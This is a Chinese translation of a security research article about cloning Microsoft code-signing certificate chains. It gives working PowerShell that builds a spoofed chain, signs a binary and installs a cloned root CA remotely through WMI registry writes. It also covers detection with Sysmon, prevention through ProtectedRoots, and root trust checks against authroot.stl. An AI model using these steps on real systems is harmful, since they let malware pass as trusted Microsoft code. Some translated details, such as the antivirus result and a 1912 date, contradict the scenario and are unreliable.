在阅读本文之前，请思考一下这个问题：“ 对于由微软（或任何其他软件供应商）签名的内容，实际上意味着什么呢？”

简介：SOC分析师Autoruns的基线场景

想象一下，你在一个SOC工作，你负责在40,000个主机上建立持久性的条目。你的任务是检查运行密钥的持久性。你在整个企业中部署了Sysinternals，你可以在每个系统上运行Autoruns，并将结果转发到Splunk仪表板，以便你轻松解释产生的结果。你所熟悉的智能SOC分析师都知道，签名过的Microsoft应用程序很可能会被滥用，因此在运行autorunsc.exe时，请确保“Microsoft”和“Windows”记录没有被隐藏。你将所有常见的结果聚集在一起，并开始关注数据集中的异常值。你找到了以下异常

4万个系统中有4万个：

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SecurityAudit
      C:\Windows Defender\MpCmdRun.exe
      Microsoft Malware Protection Command Line Utility
      (Verified) Microsoft Corporation
      4.12.16299.15
      c:\windows defender\mpcmdrun.exe
      11/25/1912 5:39 AM

你应用以下流程来确定这些记录是正常的还是可疑的：

1.    你注意到该二进制文件是经过验证的“Microsoft Corporation”的二进制文件。并知道它是由微软签名过的，可以让你仔细审查，因为这个特殊的签名二进制文件并不会被黑客滥用。

2.   你Google 搜索了MpCmdRun.exe并确认它确实与Windows Defender相关联。

3.   你启用了VirusTotal与Autoruns的整合（假设你所在的企业或组织已经接受了这个风险）分析，发现所有杀软都查杀了这个程序。

4.   你仍然不确定为什么它是一个异常值，但是你的企业是一个巨大的，异质的环境，根本没有基本的黄金图像的概念。

5.   你接受这是一个异常值，但是你确信MpCmdRun.exe不会被广泛的滥用，并且你随后会在以后的分析中过滤掉这个程序的哈希值。毕竟，你有更多的异常值来通过。

这种情况对任何人都熟悉吗？不幸的是，尽管我讨厌这么说，Autoruns的分析结果就是企业被入侵的积极证据，你忽略了它，并决定在将来也忽略它。

证书链克隆和克隆的根证书信任攻击

我们的SOC分析师没能发现的事实是，MpCmdRun.exe是使用克隆的Microsoft证书链进行签名的，因为攻击者也在受感染的受害者系统上信任了其克隆的根证书。攻击者如何去执行这样的攻击呢？攻击步骤可以总结如下：

1.    将合法证书链中的所有证书导出到磁盘。这些证书是你将用作自己的克隆证书链模板的证书。

2.   使用导出到磁盘的证书链建立一个克隆的证书链。PowerShell中的New-SelfSignedCertificate cmdlet具有非常方便的“-CloneCert”和“-Signer”参数来启用此功能。克隆证书链时，你将能够使用克隆的证书链对恶意代码进行签名。

3.   你还需要导出克隆的根证书，因为你需要在受害者系统上信任此证书，来使你的任何已签名的恶意代码能够正确验证并与许多安全工具融合。

以下视频显示了导出用于签名kernel32.dll的证书链的手动操作过程：

https://youtu.be/5rjJnxl50Dg

手动操作将合法的微软证书链导出到磁盘并用作克隆模板。

既然Microsoft证书链已导出到了磁盘，现在就可以将其用作构建欺骗性的Microsoft证书链模板了。以下代码可以用来实现这一点：

# We'll just store the cloned certificates in current user "Personal" store for now.
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }

$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation

$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer
$Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation

# Create some sample code to practice signing on
Add-Type -TypeDefinition @'
public class Foo {
    public static void Main(string[] args) {
        System.Console.WriteLine("Hello, World!");
        System.Console.ReadKey();
    }
}
'@ -OutputAssembly C:\Test\HelloWorld.exe

# Validate that that HelloWorld.exe is not signed.
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe

# Sign HelloWorld.exe with the cloned Microsoft leaf certificate.
Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath C:\Test\HelloWorld.exe
# The certificate will not properly validate because the root certificate is not trusted.

# View the StatusMessage property to see the reason why Set-AuthenticodeSignature returned "UnknownError"
# "A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider"
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe | Format-List *

# Save the root certificate to disk and import it into the current user root store.
# Upon doing this, the HelloWorld.exe signature will validate properly.
Export-Certificate -Type CERT -FilePath C:\Test\MSKernel32Root_Cloned.cer -Cert $Cloned_MS_Root_Cert
Import-Certificate -FilePath C:\Test\MSKernel32Root_Cloned.cer -CertStoreLocation Cert:\CurrentUser\Root\

# You may need to start a new PowerShell process for the valid signature to take effect.
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe

以下视频演示了如何运行上面的代码：

https://youtu.be/qF6h2he5B7g

那么为什么这个攻击会起作用呢？因为在高层次上，数字签名验证依赖于以下内容：

1.    完整性验证 – 文件的散列是否与签名中的签名散列匹配？如果没有，文件的完整性已被破坏，不应该被信任。

2.   证书链验证 – 每个证书是否由其父证书正确签发？

3.   证书有效性检查 – 如果证书链中的每个证书都没有时间戳，每个证书是否在规定的有效期内？如果数字签名具有时间戳，则验证时间戳证书计数器签名链。

4.   吊销检查 – 证书链中的任何一个证书是否被管理员撤销或明确的不受信任？

5.   根CA验证 – 签名者证书链中的根证书是否为可信证书？

从技术上讲，我们的克隆证书链通过了所有的这些检查，因此任何执行签名验证（sigcheck，autoruns，procexp，AV？等）的工具都可能会失效。

你可能在视频中注意到，在“CurrentUser”证书存储区中安装根证书时，会弹出一个对话框，询问你是否信任该证书。如果在提升了权限的上下文中运行，是不会出现这个弹框的。为什么非管理员用户能够信任根CA证书？这超出了我的理解。这在任何企业或组织都不应该被允许。

攻击步骤武器化

上面的视频演示了如何在本地创建和信任克隆的根证书。理想情况下，在真实世界的攻击情况中，你不会克隆证书链，并在受感染的系统上签名恶意文件。相反，你将构建克隆链并在攻击者系统上签名你的恶意代码。现在，问题仍然是如何能够信任受害者系统上的克隆CA证书。你可能会放弃把它导出到磁盘并进行安装，但如果你想作为一个猥琐一点的管理员，你可以直接在注册表中安装和信任证书。以下是如何使用WMI远程安装和信任克隆的根CA证书的示例：

$CertThumbprint = '1F3D38F280635F275BE92B87CF83E40E40458400'
$EncodedCertBlob = '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'

Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName CreateKey -Arguments @{
    hDefKey = [UInt32] 2147483650 # HKLM
    sSubKeyName = "SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\$CertThumbprint"
}

Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName SetBinaryValue -Arguments @{
    hDefKey = [UInt32] 2147483650 # HKLM
    sSubKeyName = "SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\$CertThumbprint"
    sValueName = 'Blob'
    uValue = [Convert]::FromBase64String($EncodedCertBlob)
}

在本例中，$EncodedCertBlob只是导出的克隆根CA.cer文件的base64编码内容。$CertThumbprint是指纹值（即证书的SHA1哈希）。因此，在安装该证书后，任何使用来自该CA的证书签名的代码都将被正确验证。在这种特殊情况下，代码还会显示为Microsoft签名过的代码。

检测恶意根CA证书的安装

考虑到这种攻击的根源是涉及到了安装一个根CA证书，这个动作将是构建检测的重点和切入点。根CA的安装应该是不常见的，通过监视注册表，可以实现精准的警报。Sysmon可以很好地达到这个检测目的，下面是一个捕获根证书安装过程的理想配置文件：

<Sysmon schemaversion="3.4">
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Event ID 12,13,14 == RegObject added/deleted, RegValue Set, RegObject Renamed. -->
    <RegistryEvent onmatch="include">
      <!-- LocalMachine or CurrentUser ROOT certificate installation -->
      <!-- Reference: https://technet.microsoft.com/en-us/library/cc783813(v=ws.10).aspx -->
      <TargetObject condition="contains">\Software\Microsoft\SystemCertificates\Root\Certificates\</TargetObject>
      <TargetObject condition="contains">\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates\</TargetObject>
      <TargetObject condition="begin with">HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</TargetObject>
      <!-- LocalMachine or CurrentUser CA certificate installation -->
      <TargetObject condition="contains">\Software\Microsoft\SystemCertificates\CA\Certificates\</TargetObject>
      <TargetObject condition="contains">\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates\</TargetObject>
      <TargetObject condition="begin with">HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\</TargetObject>
      <!-- LocalMachine or CurrentUser AuthRoot certificate installation -->
      <TargetObject condition="contains">\Software\Microsoft\SystemCertificates\AuthRoot\Certificates\</TargetObject>
      <TargetObject condition="contains">\SOFTWARE\Policies\Microsoft\SystemCertificates\AuthRoot\Certificates\</TargetObject>
      <TargetObject condition="begin with">HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\AuthRoot\Certificates\</TargetObject>
    </RegistryEvent>
  </EventFiltering>
</Sysmon>

当一个事件被触发时，将产生如下结果：

注册表值集合：
EventType: SetValue
UtcTime: 2017-12-20 17:12:11.999
ProcessGuid: {7ed59fb9-99eb-5a3a-0000-00102ab1af06}
ProcessId: 4404
Image: C:\WINDOWS\system32\wbem\wmiprvse.exe
TargetObject: HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\1F3D38F280635F275BE92B87CF83E40E40458400\Blob
Details: Binary Data

使用此规则集，你可能会收到很多CreateKey事件的误报。要注意的事件是SetValue事件，其中TargetObject属性以“<THUMBPRINT_VALUE>Blob”结尾，因为这表示直接安装或修改根证书二进制blob的行为。不幸的是，在撰写本文时，Sysmon配置不允许足够的粒度将一组注册表事件限制为特定的EventType，也不允许在规则条目中使用通配符。

那么下一个问题就是，“我怎么知道这个根证书安装是否是恶意的？”合乎逻辑的第一步是调查证书的内容，看是否有什么明显的东西。PowerShell能够使证书的检查步骤非常简单。

Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | For
 mat-List *

运行此命令的结果可能会产生以下输出：

PSPath                   : Microsoft.PowerShell.Security\Certificate::LocalMachine\Root\1F3D38F280635F275BE92B87CF83E40E40458400
 PSParentPath             : Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
 PSChildName              : 1F3D38F280635F275BE92B87CF83E40E40458400
 PSDrive                  : Cert
 PSProvider               : Microsoft.PowerShell.Security\Certificate
 PSIsContainer            : False
 EnhancedKeyUsageList     : {}
 DnsNameList              : {Microsoft Root Certificate Authority 2010}
 SendAsTrustedIssuer      : False
 EnrollmentPolicyEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
 EnrollmentServerEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
 PolicyId                 :
 Archived                 : False
 Extensions               : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid,
                            System.Security.Cryptography.Oid}
 FriendlyName             :
 IssuerName               : System.Security.Cryptography.X509Certificates.X500DistinguishedName
 NotAfter                 : 11/30/2042 9:06:37 PM
 NotBefore                : 12/1/2017 1:55:14 PM
 HasPrivateKey            : False
 PrivateKey               :
 PublicKey                : System.Security.Cryptography.X509Certificates.PublicKey
 RawData                  : {48, 130, 5, 219...}
 SerialNumber             : 52761736EEA4458142453E2D73FA89B2
 SubjectName              : System.Security.Cryptography.X509Certificates.X500DistinguishedName
 SignatureAlgorithm       : System.Security.Cryptography.Oid
 Thumbprint               : 1F3D38F280635F275BE92B87CF83E40E40458400
 Version                  : 3
 Handle                   : 1849876297952
 Issuer                   : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
 Subject                  : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

对于任何观察者来说，这个证书肯定具有合法证书的“外观和感觉”，但究竟是什么使证书看起来“合法”或可信呢？这个过程将在这篇文章的最后一节中介绍。

防止恶意的“CurrentUser”根CA证书的安装

在演示根CA安装的视频中，它是在当前用户的上下文中执行的。尽管作为管理员可能没有强大的预防性证书安装缓解措施，但可以通过设置以下注册表值来防止在当前用户的上下文中安装根证书：

HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots - Flags (REG_DWORD) - 1

虽然这个注册表键没有很好的在线说明文档，但Windows SDK中的wincrypt.h提供了一些关于可用于在“标志”值中设置的选项的上下文线索。以下相关标志值记录在这个头文件中：

// Set the following flag to inhibit the opening of the CurrentUser's
// .Default physical store when opening the CurrentUser's "Root" system store.
// The .Default physical store open's the CurrentUser SystemRegistry "Root"
// store.
#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG    0x1
// Set the following flag to inhibit the adding of roots from the
// CurrentUser SystemRegistry "Root" store to the protected root list
// when the "Root" store is initially protected.
#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG     0x2

设置此密钥后，尝试将根CA安装到CurrentUser根证书存储时，将会出现拒绝访问的错误信息。

所以，虽然不是最强大的预防技术，但防止非管理员用户信任他们自己的根CA当然是一个强制在你的组织执行的强有力的策略。

与任何强制执行的预防措施一样，管理员需要考虑“在我的环境中会发生什么事情”。就像任何预防措施一样，重要的是在整个环境中分阶段实施。如果出于任何原因有任何理由允许任何用户信任根证书，那么你同意攻击者或流氓软件也可以信任任意的根证书。Windows管理员将始终有能力通过组策略推送受信任的根证书。最近的一个案例是软件安装了自己的根证书，而没有提醒用户它是一个Savitech音频驱动程序。在这种情况下，你必须是admin才能信任此根证书，但是任意根证书与Microsoft获得你的根证书所需的艰难步骤相比，没有建立信任的基础。

适当验证根CA信任

直到最近，我还没有考虑证书信任的验证方式，直到版本2.60的sigcheck发布，这个版本引入了-v开关与-t或-tu一起使用：

-t [u] [v]转储指定证书存储区的内容（所有存储都为“*”）。指定-tu来查询用户存储（机器存储是默认值）。追加“-v”参数让Sigcheck下载受信任的Microsoft根证书列表，并仅输出不在根目录上的证书的有效证书。如果该站点不可访问，则使用当前目录中的authrootstl.cab或authroot.stl（如果存在）。

以下是一些示例输出：

sigcheck64.exe -tuv -nobanner

User\Root:
   Microsoft Root Certificate Authority 2010
      Cert Status:    Valid
      Valid Usage:    All
      Cert Issuer:    Microsoft Root Certificate Authority 2010
      Serial Number:  52 76 17 36 EE A4 45 81 42 45 3E 2D 73 FA 89 B2
      Thumbprint:     1F3D38F280635F275BE92B87CF83E40E40458400
      Algorithm:      sha256RSA
      Valid from:     1:55 PM 12/1/2017
      Valid to:       9:06 PM 11/30/2042

那么，为什么这个证书不被信任呢？微软的信任基础是什么？答案是authroot.stl  - 一个经过签名的ASN.1编码文件，由微软认为值得信赖的根证书组成。这相当于在操作系统中默认安装的一组根CA。有时，微软可能会更新此列表（无论是通过添加还是撤销），并通过此链接分发更新。

为了更好地理解STL文件格式，不一定要依靠sigcheck来执行根CA信任验证，我写了一个粗略的解析器，提取所有可信的证书指纹值，以便我可以在PowerShell脚本中执行类似的验证。在下面的屏幕截图中，你将看到突出显示的“恶意”克隆根CA证书：

也可以使用certutil.exe解析authroot.stl：

certutil -dump authroot.stl

通过解析authroot.stl，你还可以轻松确定哪些微软特定的根证书对于代码签名是值得信赖的：

PS> ls Cert:\LocalMachine\Root\ | Where-Object { ($TrustedRootHashes -contains $_.Thumbprint) -and ($_.Subject.StartsWith('CN=Microsoft Root')) }
Thumbprint : CDD4EEAE6000AC7F40C3802C171E30148030C072
Subject    : CN=Microsoft Root Certificate Authority, DC=microsoft, DC=comThumbprint : A43489159A520F0D93D032CCAF37E7FE20A8B419
Subject    : CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyright (c) 1997 Microsoft Corp.Thumbprint : 8F43288AD272F3103B6FB1428485EA3014C0BCFE
Subject    : CN=Microsoft Root Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=USThumbprint : 3B1EFD3A66EA28B16697394703A72CA340A05BD5
Subject    : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

因此，理想地验证Microsoft签名代码的方式（而不是简单地拉取发布者名称并验证它链接到“受信任”的根目录）是执行以下这些操作：

1.    验证二进制文件的完整性没有受到影响。

2.   验证证书链中的每个证书是否有效。

3.   验证根证书具有authroot.stl（上面列出）中存在的信任指纹之一。验证authroot.stl的另一种方法是调用CertVerifyCertificateChainPolicy函数，并传递CERT_CHAIN_POLICY_MICROSOFT_ROOT值。这个函数底层的内容基本上是相同的证书指纹阵列，根证书将会被验证。

authroot.stl中的一个值得注意的漏洞是微软的飞行根证书（指纹：F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB） – Windows Insider Preview的证书颁发者构建。值得注意的是没有时间戳签名，意味着签名将无法验证证书有效期。这可能是微软有意做出的决定。假设防卫者不知道什么是被认为是“可信”的根证书指纹，缺少MSFT时间戳可能使得微软的飞行证书链成为证书克隆攻击的更可行的候选目标。下面是一个由Microsoft飞行根证书发行的证书签名的kernel32.dll示例：

结论

希望现在你能更好地理解攻击者是如何从他们选择的代码签名者中出现的。然而，这不是唯一能够允许这样做的签名攻击方式。我还发布了有关如何劫持主题接口包的相关研究，该接口包有效地允许你将合法的数字签名应用于通过完整性验证检查的恶意代码。

所有这些研究的目的都是双重的：帮助防御者和安全供应商挑战他们在调查过程中做出的假设，同时也指出正确的代码签名验证的重要性，以确定任何给定的签名代码是否实际来源于谁起源于谁。